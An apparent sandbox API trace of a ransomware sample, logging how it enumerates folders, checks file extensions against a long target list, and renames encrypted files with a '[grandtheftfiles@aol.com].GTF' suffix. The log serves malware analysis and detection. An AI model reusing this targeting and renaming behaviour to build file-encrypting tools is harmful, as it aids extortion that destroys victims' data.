	[0067.731] lstrlenW (lpString=".jpe") returned 4
	[0067.731] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".jpeg") returned 5
	[0067.732] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0067.732] lstrlenW (lpString=".jpf") returned 4
	[0067.732] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".jpg") returned 4
	[0067.732] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".jpx") returned 4
	[0067.732] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".js") returned 3
	[0067.732] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0067.732] lstrlenW (lpString=".jsf") returned 4
	[0067.732] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".json") returned 5
	[0067.732] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0067.732] lstrlenW (lpString=".jsp") returned 4
	[0067.732] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".kdc") returned 4
	[0067.732] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".kmz") returned 4
	[0067.732] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".kwm") returned 4
	[0067.732] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".lasso") returned 6
	[0067.732] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0067.732] lstrlenW (lpString=".lbi") returned 4
	[0067.732] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".lgf") returned 4
	[0067.732] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".lgp") returned 4
	[0067.732] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".log") returned 4
	[0067.732] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".m1v") returned 4
	[0067.732] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".m4a") returned 4
	[0067.732] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".m4v") returned 4
	[0067.732] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0067.732] lstrlenW (lpString=".max") returned 4
	[0067.733] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".md") returned 3
	[0067.733] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0067.733] lstrlenW (lpString=".mda") returned 4
	[0067.733] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mdb") returned 4
	[0067.733] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mde") returned 4
	[0067.733] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mdf") returned 4
	[0067.733] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mdw") returned 4
	[0067.733] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mef") returned 4
	[0067.733] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mft") returned 4
	[0067.733] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mfw") returned 4
	[0067.733] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mht") returned 4
	[0067.733] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mhtml") returned 6
	[0067.733] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0067.733] lstrlenW (lpString=".mka") returned 4
	[0067.733] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mkidx") returned 6
	[0067.733] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0067.733] lstrlenW (lpString=".mkv") returned 4
	[0067.733] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mos") returned 4
	[0067.733] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mov") returned 4
	[0067.733] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mp3") returned 4
	[0067.733] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mp4") returned 4
	[0067.733] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0067.733] lstrlenW (lpString=".mpeg") returned 5
	[0067.734] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0067.734] lstrlenW (lpString=".mpg") returned 4
	[0067.734] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".mpv") returned 4
	[0067.734] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".mrw") returned 4
	[0067.734] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".msg") returned 4
	[0067.734] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".mxl") returned 4
	[0067.734] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".myd") returned 4
	[0067.734] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".myi") returned 4
	[0067.734] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".nef") returned 4
	[0067.734] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".nrw") returned 4
	[0067.734] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".obj") returned 4
	[0067.734] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".odb") returned 4
	[0067.734] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".odc") returned 4
	[0067.734] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".odm") returned 4
	[0067.734] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".odp") returned 4
	[0067.734] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".ods") returned 4
	[0067.734] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".oft") returned 4
	[0067.734] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".one") returned 4
	[0067.734] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0067.734] lstrlenW (lpString=".onepkg") returned 7
	[0067.734] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0067.734] lstrlenW (lpString=".onetoc2") returned 8
	[0067.735] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0067.735] lstrlenW (lpString=".opt") returned 4
	[0067.735] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".oqy") returned 4
	[0067.735] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".orf") returned 4
	[0067.735] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".p12") returned 4
	[0067.735] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".p7b") returned 4
	[0067.735] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".p7c") returned 4
	[0067.735] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pam") returned 4
	[0067.735] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pbm") returned 4
	[0067.735] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pct") returned 4
	[0067.735] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pcx") returned 4
	[0067.735] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pdd") returned 4
	[0067.735] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pdf") returned 4
	[0067.735] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pdp") returned 4
	[0067.735] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pef") returned 4
	[0067.735] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pem") returned 4
	[0067.735] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pff") returned 4
	[0067.735] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pfm") returned 4
	[0067.735] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0067.735] lstrlenW (lpString=".pfx") returned 4
	[0067.735] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0067.736] lstrlenW (lpString=".pgm") returned 4
	[0067.736] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0067.736] lstrlenW (lpString=".php") returned 4
	[0067.736] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0067.736] lstrlenW (lpString=".php3") returned 5
	[0067.736] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0067.736] lstrlenW (lpString=".php4") returned 5
	[0067.736] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0067.736] lstrlenW (lpString=".php5") returned 5
	[0067.736] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0067.736] lstrlenW (lpString=".phtml") returned 6
	[0067.736] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0067.736] lstrlenW (lpString=".pict") returned 5
	[0067.736] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0067.736] lstrlenW (lpString=".pl") returned 3
	[0067.736] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0067.736] lstrlenW (lpString=".pls") returned 4
	[0067.736] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0067.736] lstrlenW (lpString=".pm") returned 3
	[0067.736] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0067.736] lstrlenW (lpString=".png") returned 4
	[0067.736] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0067.736] lstrlenW (lpString=".pnm") returned 4
	[0067.736] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0067.736] lstrlenW (lpString=".pot") returned 4
	[0067.736] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0067.736] lstrlenW (lpString=".potm") returned 5
	[0067.736] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0067.736] lstrlenW (lpString=".potx") returned 5
	[0067.736] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0067.737] lstrlenW (lpString=".ppa") returned 4
	[0067.737] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".ppam") returned 5
	[0067.737] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0067.737] lstrlenW (lpString=".ppm") returned 4
	[0067.737] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".pps") returned 4
	[0067.737] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".ppsm") returned 5
	[0067.737] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0067.737] lstrlenW (lpString=".ppt") returned 4
	[0067.737] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".pptm") returned 5
	[0067.737] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0067.737] lstrlenW (lpString=".pptx") returned 5
	[0067.737] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0067.737] lstrlenW (lpString=".prn") returned 4
	[0067.737] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".ps") returned 3
	[0067.737] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0067.737] lstrlenW (lpString=".psb") returned 4
	[0067.737] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".psd") returned 4
	[0067.737] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".pst") returned 4
	[0067.737] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".ptx") returned 4
	[0067.737] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".pub") returned 4
	[0067.737] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".pwm") returned 4
	[0067.737] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".pxr") returned 4
	[0067.737] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0067.737] lstrlenW (lpString=".py") returned 3
	[0067.737] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0067.737] lstrlenW (lpString=".qt") returned 3
	[0067.737] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0067.738] lstrlenW (lpString=".r3d") returned 4
	[0067.738] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0067.738] lstrlenW (lpString=".raf") returned 4
	[0067.738] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0067.738] lstrlenW (lpString=".rar") returned 4
	[0067.738] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0067.738] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ed3b3fd, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ed3b3fd, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ed60663, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.738] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.738] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.738] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0067.738] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.738] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0067.738] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26
	[0067.738] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811fc8
	[0067.738] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.739] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ed3b3fd, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ed3b3fd, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9eeddda8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.739] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0067.739] lstrlenW (lpString=".1cd") returned 4
	[0067.739] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".3ds") returned 4
	[0067.739] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".3fr") returned 4
	[0067.739] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".3g2") returned 4
	[0067.739] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".3gp") returned 4
	[0067.739] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".7z") returned 3
	[0067.739] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0067.739] lstrlenW (lpString=".accda") returned 6
	[0067.739] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0067.739] lstrlenW (lpString=".accdb") returned 6
	[0067.739] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0067.739] lstrlenW (lpString=".accdc") returned 6
	[0067.739] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0067.739] lstrlenW (lpString=".accde") returned 6
	[0067.739] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0067.739] lstrlenW (lpString=".accdt") returned 6
	[0067.739] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0067.739] lstrlenW (lpString=".accdw") returned 6
	[0067.739] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0067.739] lstrlenW (lpString=".adb") returned 4
	[0067.739] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".adp") returned 4
	[0067.739] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".ai") returned 3
	[0067.739] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0067.739] lstrlenW (lpString=".ai3") returned 4
	[0067.739] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0067.739] lstrlenW (lpString=".ai4") returned 4
	[0067.739] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".ai5") returned 4
	[0067.740] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".ai6") returned 4
	[0067.740] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".ai7") returned 4
	[0067.740] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".ai8") returned 4
	[0067.740] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".anim") returned 5
	[0067.740] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0067.740] lstrlenW (lpString=".arw") returned 4
	[0067.740] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".as") returned 3
	[0067.740] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0067.740] lstrlenW (lpString=".asa") returned 4
	[0067.740] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".asc") returned 4
	[0067.740] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".ascx") returned 5
	[0067.740] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0067.740] lstrlenW (lpString=".asm") returned 4
	[0067.740] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".asmx") returned 5
	[0067.740] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0067.740] lstrlenW (lpString=".asp") returned 4
	[0067.740] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".aspx") returned 5
	[0067.740] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0067.740] lstrlenW (lpString=".asr") returned 4
	[0067.740] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".asx") returned 4
	[0067.740] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".avi") returned 4
	[0067.740] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".avs") returned 4
	[0067.740] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0067.740] lstrlenW (lpString=".backup") returned 7
	[0067.740] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0067.741] lstrlenW (lpString=".bak") returned 4
	[0067.741] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".bay") returned 4
	[0067.741] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".bd") returned 3
	[0067.741] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0067.741] lstrlenW (lpString=".bin") returned 4
	[0067.741] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".bmp") returned 4
	[0067.741] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".bz2") returned 4
	[0067.741] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".c") returned 2
	[0067.741] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0067.741] lstrlenW (lpString=".cdr") returned 4
	[0067.741] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".cer") returned 4
	[0067.741] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".cf") returned 3
	[0067.741] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0067.741] lstrlenW (lpString=".cfc") returned 4
	[0067.741] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".cfm") returned 4
	[0067.741] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".cfml") returned 5
	[0067.741] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0067.741] lstrlenW (lpString=".cfu") returned 4
	[0067.741] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".chm") returned 4
	[0067.741] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".cin") returned 4
	[0067.741] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".class") returned 6
	[0067.741] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0067.741] lstrlenW (lpString=".clx") returned 4
	[0067.741] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0067.741] lstrlenW (lpString=".config") returned 7
	[0067.741] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0067.741] lstrlenW (lpString=".cpp") returned 4
	[0067.742] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".cr2") returned 4
	[0067.742] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".crt") returned 4
	[0067.742] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".crw") returned 4
	[0067.742] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".cs") returned 3
	[0067.742] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0067.742] lstrlenW (lpString=".css") returned 4
	[0067.742] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".csv") returned 4
	[0067.742] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".cub") returned 4
	[0067.742] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dae") returned 4
	[0067.742] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dat") returned 4
	[0067.742] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".db") returned 3
	[0067.742] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0067.742] lstrlenW (lpString=".dbf") returned 4
	[0067.742] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dbx") returned 4
	[0067.742] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dc3") returned 4
